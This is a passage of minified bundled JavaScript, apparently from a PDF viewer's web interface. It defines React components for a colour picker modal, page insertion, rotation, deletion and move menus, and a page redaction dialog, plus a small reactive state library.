"+d},s.a.createElement("div",{style:p.head},l),s.a.createElement("div",{style:p.swatch}),s.a.createElement("div",{style:p.saturation},s.a.createElement(nW,{hsl:o,hsv:i,pointer:Nq,onChange:n})),s.a.createElement("div",{style:p.body},s.a.createElement("div",{style:p.controls,className:"flexbox-fix"},s.a.createElement("div",{style:p.hue},s.a.createElement(HU,{style:p.Hue,hsl:o,radius:"4px",pointer:Fq,onChange:n}))),s.a.createElement(Bq,{rgb:r,hsl:o,hex:a,hsv:i,onChange:n})))};Hq.propTypes={width:Is.a.oneOfType([Is.a.string,Is.a.number]),styles:Is.a.object,header:Is.a.string},Hq.defaultProps={width:652,styles:{},header:"Color picker"};pW(Hq),n(1135);function Vq(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return zq(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return zq(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function zq(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Uq=function(e){var t=e.isDisabled,n=e.isOpen,r=e.color,o=e.closeModal,i=e.handleChangeSave,a=e.handleChangeCancel,u=Vq(Ks(),1)[0],c=Vq(Object(l.useState)({}),2),f=c[0],d=c[1],p=js()({Modal:!0,ColorPickerModal:!0,open:n,closed:!n});Object(l.useEffect)((function(){r&&0!==r.A?d({r:r.R,g:r.G,b:r.B,a:1}):d({r:0,g:0,b:0,a:1})}),[r]);return t?null:s.a.createElement(Op,{onSwipedUp:o,onSwipedDown:o,preventDefaultTouchmoveEvent:!0},s.a.createElement("div",{className:p,"data-element":"ColorPickerModal",onMouseDown:o},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement(xq,{color:f,disableAlpha:!0,onChange:function(e){d(e.rgb)},presetColors:[]}),s.a.createElement("div",{className:"buttons"},s.a.createElement("button",{className:"cancel-button",onClick:a},u("action.cancel")),s.a.createElement("button",{className:"save-button",onClick:function(){i(f)}},u("action.ok"))))))},Gq=["closeColorPicker","onColorChange"];function Wq(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function qq(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Wq(Object(n),!0).forEach((function(t){Zq(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Wq(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Zq(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Yq(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var $q=function(e){var t=e.closeColorPicker,n=e.onColorChange,r=Yq(e,Gq),o=Object(l.useCallback)((function(){t()}),[t]),i=Object(l.useCallback)((function(){t()}),[t]),a=qq(qq({},r),{},{closeModal:o,handleChangeSave:function(e){n(e),t()},handleChangeCancel:i});return s.a.createElement(Uq,a)};function Kq(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Xq(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Kq(Object(n),!0).forEach((function(t){Qq(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Kq(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Qq(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Jq(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return eZ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return eZ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function eZ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var tZ=function(e){var t=re(),n=Jq(le((function(e){return[fi.isElementDisabled(e,"ColorPickerModal"),fi.isElementOpen(e,"ColorPickerModal"),fi.getCustomColor(e)]})),3),r=n[0],o=n[1],i=n[2],a=Xq(Xq({},e),{},{color:i,onColorChange:function(e){var n=new window.Annotations.Color(e.r,e.g,e.b,e.a);t(Ps.setCustomColor(n))},isDisabled:r,closeColorPicker:function(){t(Ps.closeElement("ColorPickerModal"))},isOpen:o});return s.a.createElement($q,a)};var nZ=function(e){var t=Ks().t,n=e.insertAbove,r=e.insertBelow;return s.a.createElement(s.a.Fragment,null,s.a.createElement(Uf,{dataElement:"pageInsertionHeader",className:"type"},t("action.insertPage")),s.a.createElement(Uf,{className:"row",dataElement:"insertPageAbove",onClick:n},s.a.createElement(bf,{title:"action.insertBlankPageAbove",img:"icon-page-insertion-insert-above",role:"option"}),s.a.createElement("div",{className:"title"},t("action.insertBlankPageAbove"))),s.a.createElement(Uf,{className:"row",dataElement:"insertPageBelow",onClick:r},s.a.createElement(bf,{title:"action.insertBlankPageBelow",img:"icon-page-insertion-insert-below",role:"option"}),s.a.createElement("div",{className:"title"},t("action.insertBlankPageBelow"))))},rZ={pageNumbers:Is.a.arrayOf(Is.a.number),warn:Is.a.bool};function oZ(e){var t=re(),n=e.pageNumbers,r=e.warn;return s.a.createElement(nZ,{insertAbove:function(){r?!fO(n,t)&&oO(n):oO(n),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))},insertBelow:function(){r?!fO(n,t)&&iO(n):iO(n),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))}})}oZ.propTypes=rZ;var iZ=oZ;var aZ=function(e){var t=Ks().t,n=e.rotateClockwise,r=e.rotateCounterClockwise;return s.a.createElement(s.a.Fragment,null,s.a.createElement(Uf,{dataElement:"pageRotationHeader",className:"type"},t("action.rotate")),s.a.createElement(Uf,{dataElement:"rotatePageClockwise",className:"row",onClick:n},s.a.createElement(bf,{title:"action.rotateClockwise",img:"icon-header-page-manipulation-page-rotation-clockwise-line",role:"option"}),s.a.createElement("div",{className:"title"},t("action.rotateClockwise"))),s.a.createElement(Uf,{dataElement:"rotatePageCounterClockwise",className:"row",onClick:r},s.a.createElement(bf,{title:"action.rotateCounterClockwise",img:"icon-header-page-manipulation-page-rotation-counterclockwise-line",role:"option"}),s.a.createElement("div",{className:"title"},t("action.rotateCounterClockwise"))))},lZ={pageNumbers:Is.a.arrayOf(Is.a.number),warn:Is.a.bool};function sZ(e){var t=re(),n=e.pageNumbers,r=e.warn;return s.a.createElement(aZ,{rotateCounterClockwise:function(){r?!fO(n,t)&&rO(n):rO(n),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))},rotateClockwise:function(){r?!fO(n,t)&&nO(n):nO(n),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))}})}sZ.propTypes=lZ;var uZ=sZ;var cZ=function(e){var t=Ks().t,n=e.deletePages,r=e.extractPages,o=e.replacePages;return s.a.createElement(s.a.Fragment,null,s.a.createElement(Uf,{dataElement:"pageManipulationHeader",className:"type"},t("action.pageManipulation")),s.a.createElement(Uf,{className:"row",dataElement:"replacePage",onClick:o},s.a.createElement(bf,{title:"action.replace",img:"icon-page-replacement",role:"option"}),s.a.createElement("div",{className:"title"},t("action.replace"))),s.a.createElement(Uf,{className:"row",dataElement:"extractPage",onClick:r},s.a.createElement(bf,{title:"action.extract",img:"icon-page-manipulation-extract",role:"option"}),s.a.createElement("div",{className:"title"},t("action.extract"))),s.a.createElement(Uf,{dataElement:"deletePage",className:"row",onClick:n},s.a.createElement(bf,{title:"action.delete",img:"icon-page-manipulation-delete",role:"option"}),s.a.createElement("div",{className:"title"},t("action.delete"))))};function fZ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return dZ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return dZ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function dZ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var pZ={pageNumbers:Is.a.arrayOf(Is.a.number),warn:Is.a.bool};function hZ(e){var t=re(),n=e.pageNumbers,r=e.warn,o=fZ(le((function(e){return[fi.pageDeletionConfirmationModalEnabled(e)]})),1)[0];return s.a.createElement(cZ,{deletePages:function(){r?!fO(n,t)&&sO(n,t,o):sO(n,t,o),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))},extractPages:function(){r?!fO(n,t)&&lO(n,t):lO(n,t),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))},replacePages:function(){r?!fO(n,t)&&aO(t):aO(t),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))}})}hZ.propTypes=pZ;var mZ=hZ;var gZ=function(e){var t=Ks().t,n=e.moveToTop,r=e.moveToBottom;return s.a.createElement(s.a.Fragment,null,s.a.createElement(Uf,{dataElement:"pageAdditionalControlsHeader",className:"type"},t("option.thumbnailsControlOverlay.move")),s.a.createElement(Uf,{className:"row",dataElement:"moveToTop",onClick:n},s.a.createElement(bf,{title:"action.moveToTop",img:"icon-page-move-up",role:"option",onClick:n}),s.a.createElement("div",{className:"title"},t("action.moveToTop"))),s.a.createElement(Uf,{className:"row",dataElement:"moveToBottom",onClick:r},s.a.createElement(bf,{title:"action.moveToBottom",img:"icon-page-move-down",role:"option",onClick:r}),s.a.createElement("div",{className:"title"},t("action.moveToBottom"))))},vZ={pageIndexes:Is.a.arrayOf(Is.a.number),warn:Is.a.bool};function yZ(e){var t=re(),n=e.pageNumbers,r=e.warn;return s.a.createElement(gZ,{moveToTop:function(){r?!fO(n,t)&&cO(n):cO(n),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))},moveToBottom:function(){r?!fO(n,t)&&uO(n):uO(n),Ot()&&t(Ps.closeElement("pageManipulationOverlay"))}})}yZ.propTypes=vZ;var bZ=yZ;var wZ=function(e){var t=e.dataElement,n=e.pageNumbers,r=e.header,o=e.operations;return s.a.createElement(s.a.Fragment,null,s.a.createElement(Uf,{dataElement:t,className:"type"},r),o.map((function(e){return s.a.createElement(Uf,{key:e.dataElement,className:"row",dataElement:e.dataElement,onClick:function(){return e.onClick(n)}},function(e){if(e.img)return s.a.createElement(bf,{title:e.title,img:e.img,role:"option"})}(e),s.a.createElement("div",{className:"title"},e.title))})))};function EZ(){return(EZ=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function SZ(e){var t=e.children,n=e.pageNumbers,r=e.pageManipulationOverlayItems,o=s.a.Children.toArray(t);return r.map((function(e,t){var r=e.dataElement,i=e.type,a=o.find((function(e){return e.props.dataElement===r})),l=r||"".concat(i,"-").concat(t);return a||("divider"===i&&(a=s.a.createElement("div",{className:"divider"})),"customPageOperation"===i&&(a=s.a.createElement(wZ,EZ({key:r,pageNumbers:n},e)))),a?s.a.cloneElement(a,{key:l}):null}))}var CZ=function(e){var t=e.pageNumbers,n=e.pageManipulationOverlayItems;return s.a.createElement(SZ,{pageNumbers:t,pageManipulationOverlayItems:n},s.a.createElement(bZ,{pageNumbers:t,dataElement:"pageAdditionalControls"}),s.a.createElement(uZ,{pageNumbers:t,dataElement:"pageRotationControls"}),s.a.createElement(iZ,{dataElement:"pageInsertionControls",pageNumbers:t}),s.a.createElement(mZ,{pageNumbers:t,dataElement:"pageManipulationControls"}))};function xZ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return OZ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return OZ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function OZ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var AZ=function(){var e=xZ(le((function(e){return[fi.getSelectedThumbnailPageIndexes(e),fi.getCurrentPage(e),fi.getPageManipulationOverlayItems(e)]}),N),3),t=e[0],n=e[1],r=e[2],o=t.length>0?t.map((function(e){return e+1})):[n];return s.a.createElement(Lp,{menu:"pageManipulationOverlay",trigger:"pageManipulationOverlayButton",onClose:void 0},s.a.createElement(CZ,{pageNumbers:o,pageManipulationOverlayItems:r}))};n(298);function _Z(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return TZ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return TZ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function TZ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var kZ={closeModal:Is.a.func,currentPage:Is.a.number,pageLabels:Is.a.array,selectedPages:Is.a.array,markPages:Is.a.func,redactPages:Is.a.func,evenDisabled:Is.a.bool,renderCanvases:Is.a.func,isOpen:Is.a.bool},PZ="current",MZ="specify",RZ="odd",jZ="even",LZ=function(e){var t=e.closeModal,n=e.pageLabels,r=e.selectedPages,o=e.currentPage,i=e.markPages,a=e.redactPages,u=e.evenDisabled,c=e.renderCanvases,f=e.isOpen,d=Ks().t,p=_Z(Object(l.useState)(PZ),2),h=p[0],m=p[1],g=_Z(Object(l.useState)(),2),v=g[0],y=g[1];Object(l.useEffect)((function(){y(r)}),[r]);var b=function(){var e=[];if(h===PZ)return[o];if(h===MZ)return v;if(h===RZ)for(var t=1;n.length>=t;t+=2)e.push(t);else if(h===jZ)for(var r=2;n.length>=r;r+=2)e.push(r);return e},w=Object(l.useRef)();Object(l.useEffect)((function(){f&&c(w,b())}),[h,f,v,c,b]);var E=function(e){var n=e.event.target;(w.current.clientHeight<w.current.scrollHeight||w.current.clientWidth<w.current.scrollWidth)&&(n===w.current||w.current.contains(n))?e.event.stopPropagation():t()};return s.a.createElement(Op,{onSwipedUp:E,onSwipedDown:E,preventDefaultTouchmoveEvent:!0,focus:!0},s.a.createElement(Jp,{locked:f},s.a.createElement("div",{className:js()({Modal:!0,PageRedactionModal:!0,open:f,closed:!f}),"data-element":Yh.PAGE_REDACT_MODAL},s.a.createElement("div",{className:"container"},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"header"},s.a.createElement("div",{className:"header-text"},d("option.pageRedactModal.header")),s.a.createElement(bf,{onClick:t,img:"icon-close"})),s.a.createElement("div",{className:"body"},s.a.createElement("div",{className:"canvas-container",ref:w}),s.a.createElement("form",{className:"selection-options",onChange:function(e){e.target.classList.contains("page-number-input")||m(e.target.value),e.preventDefault()},onSubmit:function(e){return e.preventDefault()}},s.a.createElement("strong",null,d("option.pageRedactModal.pageSelection")),s.a.createElement(X_,{checked:h===PZ,radio:!0,name:"page-redaction-option",label:d("option.pageRedactModal.current"),value:PZ}),s.a.createElement(X_,{checked:h===MZ,radio:!0,name:"page-redaction-option",label:d("option.pageRedactModal.specify"),value:MZ}),"specify"===h&&s.a.createElement(bF,{selectedPageNumbers:v,pageCount:n.length,onBlurHandler:function(e){return y(e)},placeholder:d("option.pageRedactModal.specifyPlaceholder")}),s.a.createElement(X_,{checked:h===RZ,radio:!0,name:"page-redaction-option",label:d("option.pageRedactModal.odd"),value:RZ}),s.a.createElement(X_,{checked:h===jZ,radio:!0,name:"page-redaction-option",label:d("option.pageRedactModal.even"),value:jZ,disabled:u}))),s.a.createElement("div",{className:"footer"},s.a.createElement(bf,{className:"cancel modal-button",dataElement:"modalRedactButton",label:"annotation.redact",onClick:function(){return a(b())}}),s.a.createElement(bf,{className:"confirm modal-button",dataElement:"modalMarkRedactButton",label:"option.pageRedactModal.addMark",onClick:function(){return i(b())}}))))))};LZ.propTypes=kZ;var IZ=LZ;function NZ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||DZ(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function DZ(e,t){if(e){if("string"==typeof e)return FZ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?FZ(e,t):void 0}}function FZ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var BZ=function(){var e=re(),t=NZ(le((function(e){return[fi.isElementOpen(e,Yh.PAGE_REDACT_MODAL),fi.getCurrentPage(e),fi.getSelectedThumbnailPageIndexes(e),fi.getPageLabels(e),fi.getActiveToolName(e),fi.getActiveToolStyles(e)]})),6),n=t[0],r=t[1],o=t[2],i=t[3],a=t[4],u=t[5],c=o.map((function(e){return e+1}));Object(l.useEffect)((function(){n&&e(Ps.closeElements(["printModal","loadingModal","progressModal","errorModal"]))}),[n,e]);var f=function(){return e(Ps.closeElement(Yh.PAGE_REDACT_MODAL))},d=function(){return null!=a&&a.includes("AnnotationCreateRedaction")?u:{}},p=NZ(Object(l.useState)(!1),2),h=p[0],m=p[1];return Object(l.useEffect)((function(){var e=function(){vt.getTotalPages()<2?m(!0):m(!1)};return vt.addEventListener("documentLoaded",e),function(){return vt.removeEventListener("documentLoaded",e)}}),[]),s.a.createElement(IZ,{evenDisabled:h,closeModal:f,renderCanvases:function(e,t){for(var r,o=vt.getDocument();e.current.firstChild;)e.current.removeChild(e.current.firstChild);if(t){(null===(r=t)||void 0===r?void 0:r.length)>10&&(t=t.splice(0,10));var i,a=function(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=DZ(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}(t);try{for(a.s();!(i=a.n()).done;){var l=i.value,s=null==o?void 0:o.getPageInfo(l);if(n&&o&&e.current&&s){var u=1,c=e.current.getBoundingClientRect(),f=parseInt(window.getComputedStyle(e.current).borderWidth)+.1;c.height-=f,c.width-=f,(u=s.width>s.height?c.width/s.width:c.height/s.height)>0&&o.loadCanvas({pageNumber:l,zoom:u,pageRotation:0,drawComplete:function(t){e.current.appendChild(t)},isInternalRender:!0})}}}catch(e){a.e(e)}finally{a.f()}}},redactPages:function(e){!function(e,t){vt.applyRedactions(dO(e,t))}(e,d()),f()},markPages:function(e){dO(e,d()),f()},currentPage:r,selectedPages:c,pageLabels:i,isOpen:n})};function HZ(e,t){return function(n){return e(t(n))}}function VZ(e,t){return t(e)}function zZ(e,t){return function(n){return e(t,n)}}function UZ(e,t){return function(){return e(t)}}function GZ(e){return function(t){return t[e]}}function WZ(e,t){return t(e),e}function qZ(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return t}function ZZ(e){e()}function YZ(e){return function(){return e}}function $Z(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(){t.map(ZZ)}}function KZ(){}function XZ(e,t){return e(1,t)}function QZ(e,t){e(0,t)}function JZ(e){e(2)}function eY(e){return e(4)}function tY(e,t){return XZ(e,zZ(t,0))}function nY(e,t){var n=e(1,(function(e){n(),t(e)}));return n}function rY(){var e=[];return function(t,n){switch(t){case 2:return void e.splice(0,e.length);case 1:return e.push(n),function(){var t=e.indexOf(n);t>-1&&e.splice(t,1)};case 0:return void e.slice().forEach((function(e){e(n)}));default:throw new Error("unrecognized action "+t)}}}function oY(e){var t=e,n=rY();return function(e,r){switch(e){case 1:r(t);break;case 0:t=r;break;case 4:return t}return n(e,r)}}function iY(e){return WZ(rY(),(function(t){return tY(e,t)}))}function aY(e,t){return WZ(oY(t),(function(t){return tY(e,t)}))}function lY(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e){return t.reduceRight(VZ,e)}}function sY(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];var o=lY.apply(void 0,n);return function(t,n){switch(t){case 1:return XZ(e,o(n));case 2:return void JZ(e);default:throw new Error("unrecognized action "+t)}}}function uY(e,t){return e===t}function cY(e){var t;return void 0===e&&(e=uY),function(n){return function(r){e(t,r)||(t=r,n(r))}}}function fY(e){return function(t){return function(n){e(n)&&t(n)}}}function dY(e){return function(t){return HZ(t,e)}}function pY(e){return function(t){return function(){return t(e)}}}function hY(e,t){return function(n){return function(r){return n(t=e(t,r))}}}function mY(e){return function(t){return function(n){e>0?e--:t(n)}}}function gY(e){var t,n;return function(r){return function(o){t=o,n||(n=setTimeout((function(){n=void 0,r(t)}),e))}}}function vY(e){var t,n;return function(r){return function(o){t=o,n&&clearTimeout(n),n=setTimeout((function(){r(t)}),e)}}}function yY(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];var r=new Array(t.length),o=0,i=null,a=Math.pow(2,t.length)-1;return t.forEach((function(e,t){var n=Math.pow(2,t);XZ(e,(function(e){var l=o;o|=n,r[t]=e,l!==a&&o===a&&i&&(i(),i=null)}))})),function(e){return function(t){var n=function(){return e([t].concat(r))};o===a?n():i=n}}}function bY(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e,n){switch(e){case 1:return $Z.apply(void 0,t.map((function(e){return XZ(e,n)})));case 2:return;default:throw new Error("unrecognized action "+e)}}}function wY(e,t){return void 0===t&&(t=uY),sY(e,cY(t))}function EY(){for(var e=rY(),t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];var o=new Array(n.length),i=0,a=Math.pow(2,n.length)-1;return n.forEach((function(t,n){var r=Math.pow(2,n);XZ(t,(function(t){o[n]=t,(i|=r)===a&&QZ(e,o)}))})),function(t,n){switch(t){case 1:return i===a&&n(o),XZ(e,n);case 2:return JZ(e);default:throw new Error("unrecognized action "+t)}}}function SY(e,t,n){void 0===t&&(t=[]);var r=(void 0===n?{singleton:!0}:n).singleton;return{id:CY(),constructor:e,dependencies:t,singleton:r}}var CY=function(){return Symbol()};function xY(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function OY(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=function(e,t){if(e){if("string"==typeof e)return xY(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?xY(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var AY=["children"];var _Y="undefined"!=typeof document?l.useLayoutEffect:l.useEffect;function TY(e,t,n){var r=Object.keys(t.required||{}),o=Object.keys(t.optional||{}),i=Object.keys(t.methods||{}),a=Object.keys(t.events||{}),s=Object(l.createContext)({});function u(e,n){e.propsReady&&QZ(e.propsReady,!1);for(var i,a=OY(r);!(i=a()).done;){var l=i.value;QZ(e[t.required[l]],n[l])}for(var s,u=OY(o);!(s=u()).done;){var c=s.value;if(c in n)QZ(e[t.optional[c]],n[c])}e.propsReady&&QZ(e.propsReady,!0)}function c(e){return a.reduce((function(n,r){var o,i,a,l;return n[r]=(o=e[t.events[r]],l=function(){return i&&i()},function(e,t){switch(e){case 1:if(t){if(a===t)return;return l(),a=t,i=XZ(o,t)}return l(),KZ;case 2:return l(),void(a=null);default:throw new Error("unrecognized action "+e)}}),n}),{})}return{Component:Object(l.forwardRef)((function(f,d){var p=f.children,h=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(f,AY),m=Object(l.useState)((function(){return WZ(function(e){var t=new Map;return function e(n){var r=n.id,o=n.constructor,i=n.dependencies,a=n.singleton;if(a&&t.has(r))return t.get(r);var l=o(i.map((function(t){return e(t)})));return a&&t.set(r,l),l}(e)}(e),(function(e){return u(e,h)}))}))[0],g=Object(l.useState)(UZ(c,m))[0];return _Y((function(){for(var e,t=OY(a);!(e=t()).done;){var n=e.value;n in h&&XZ(g[n],h[n])}return function(){Object.values(g).map(JZ)}}),[h,g,m]),_Y((function(){u(m,h)})),Object(l.useImperativeHandle)(d,YZ(function(e){return i.reduce((function(n,r){return n[r]=function(n){QZ(e[t.methods[r]],n)},n}),{})}(m))),Object(l.createElement)(s.Provider,{value:m},n?Object(l.createElement)(n,function(e,t){for(var n={},r={},o=0,i=e.length;o<i;)r[e[o]]=1,o+=1;for(var a in t)r.hasOwnProperty(a)||(n[a]=t[a]);return 